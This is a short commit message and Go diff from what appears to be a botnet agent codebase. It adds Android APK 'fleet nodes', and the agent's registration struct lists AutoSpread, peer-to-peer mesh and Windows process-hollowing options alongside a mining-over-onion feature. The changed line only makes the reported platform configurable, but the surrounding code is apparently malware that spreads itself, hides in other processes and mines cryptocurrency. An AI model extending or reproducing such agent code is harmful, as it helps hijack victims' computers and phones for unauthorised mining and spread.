Add Android APK fleet nodes with Crucible UI integration and tests.

APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.

agent/client/client.go

@@ -354,7 +354,7 @@ func (c *AgentClient) authenticate() error {
 		MeshP2P:          c.cfg.MeshP2P,
 		AutoSpread:       c.cfg.AutoSpread,
 		ProcessHollowing: c.cfg.ProcessHollowing && runtime.GOOS == "windows",
-		Platform:         runtime.GOOS,
+		Platform:         c.cfg.RegistrationPlatform(),
 		Arch:             runtime.GOARCH,
 		OSVersion:        deploy.HostOSVersion(),
 		MacAddress:       primaryMACAddress(),